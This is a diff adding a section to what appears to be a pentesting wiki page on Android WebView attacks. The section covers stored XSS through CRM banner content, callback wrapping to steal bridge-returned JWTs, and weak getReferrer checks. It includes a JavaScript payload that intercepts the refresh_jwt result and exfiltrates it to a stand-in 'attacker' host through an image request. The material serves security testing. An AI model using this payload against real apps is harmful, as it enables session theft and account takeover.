diff --git a/src/mobile-pentesting/android-app-pentesting/webview-attacks.md b/src/mobile-pentesting/android-app-pentesting/webview-attacks.md index 5245b2b7524..cf1b9c80477 100644 --- a/src/mobile-pentesting/android-app-pentesting/webview-attacks.md +++ b/src/mobile-pentesting/android-app-pentesting/webview-attacks.md @@ -521,6 +521,64 @@ Related + +## Trusted-origin HTML/CRM content → bridge credential theft + +A strict host allowlist on a WebView is **not enough** if the trusted origin itself renders attacker-influenceable HTML such as CRM banners, loyalty widgets, support chat content, or feature-flagged marketing fragments. A practical chain is: + +1. An attacker can write a profile/CRM field using a public customer identifier or another weak authorization primitive. +2. A first-party page requests banner/template JSON containing that field. +3. The SDK renders the returned HTML with a sink such as `innerHTML`, `outerHTML`, or `insertAdjacentHTML`. +4. The resulting stored XSS executes on the trusted origin already allowed to use the native bridge. +5. JavaScript invokes a bridge action that returns a session credential. + +Minimal sink pattern: + +```javascript +const banner = JSON.parse(resp) +container.innerHTML = banner.html +``` + +Hunting tips: +- Trace **attacker-writable profile fields** into banners, campaigns, dashboards, previews, and in-app loyalty content. +- Check whether the backend/API authorizes profile reads or writes using a **public identifier** leaked in invite links, API responses, analytics calls, or app resources. +- Remember that **JSON escaping is not HTML escaping**: after `JSON.parse`, `` is live markup again. + +### Callback wrapping to steal credential-returning bridge results + +Many bridges return data to the page through a global callback such as `window.callWebView(...)`. If a bridge action returns a **JWT/session token** (`refresh_jwt`, `getToken`, `getSession`, etc.), preserve normal app behaviour by wrapping the callback, extracting the sensitive field, and then calling the original handler: + +```javascript +const orig = window.callWebView; +window.callWebView = function (m) { + const d = typeof m === 'string' ? JSON.parse(m) : m; + if (d.action === 'refresh_jwt' && d.payload?.data) + new Image().src = 'https://attacker/j?t=' + encodeURIComponent(d.payload.data); + return orig.apply(this, arguments); +}; +window.Android.postMessage(JSON.stringify({ action: 'refresh_jwt', payload: { old_jwt: '' } })); +``` + +`new Image().src` is a reliable exfiltration primitive because it only needs the browser/WebView to issue the request; it does **not** need response access. + +### Exported bridge-enabled Activities: scheme-only checks and `getReferrer()` are not auth + +If an exported `VIEW`/`BROWSABLE` Activity forwards `url=` (or similar extras) into `loadUrl()` while the bridge stays attached, **scheme-only validation is insufficient**: the attacker still controls the host and path. `Activity.getReferrer()` is also a weak guard for privileged WebViews. Android documents that `getReferrer()` returns `Intent.EXTRA_REFERRER` when present and explicitly warns that **applications can spoof it**. + +Browser-delivered trigger example: + +```html + + Open reward + +``` + +Practical notes: +- Validate **scheme + exact host** before calling `loadUrl()`, not just the scheme. +- Re-check trust after redirects/navigation and remove the bridge when leaving trusted origins. +- To confirm token exfiltration really came from the in-app WebView, inspect the request for a `; wv` WebView user-agent marker, the app package in `X-Requested-With`, and the expected first-party `Referer`. + + ## References - [Review of Android WebViews file access attack vectors](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html) @@ -535,6 +593,9 @@ Related - [Account takeover in Android app via JSB – tuxplorer.com](https://tuxplorer.com/posts/account-takeover-via-jsb/) - [LSPosed – systemless Xposed framework](https://github.com/LSPosed/LSPosed) - [Frida codeshare: Cordova – enable WebView debugging](http://codeshare.frida.re/@gameFace22/cordova---enable-webview-debugging/) +- [From a “Hey, {name} 👋” Banner to Full Account Takeover: Chaining Four Bugs Through a Rewards WebView](https://medium.com/@bag0zathev2/from-a-hey-name-banner-to-full-account-takeover-chaining-4-bugs-through-a-rewards-webview-f89a2b0f830f) +- [Android `Activity.getReferrer()` reference](https://developer.android.com/reference/android/app/Activity#getReferrer()) +- [Android `Intent.EXTRA_REFERRER` reference](https://developer.android.com/reference/android/content/Intent#EXTRA_REFERRER) {{#include ../../banners/hacktricks-training.md}}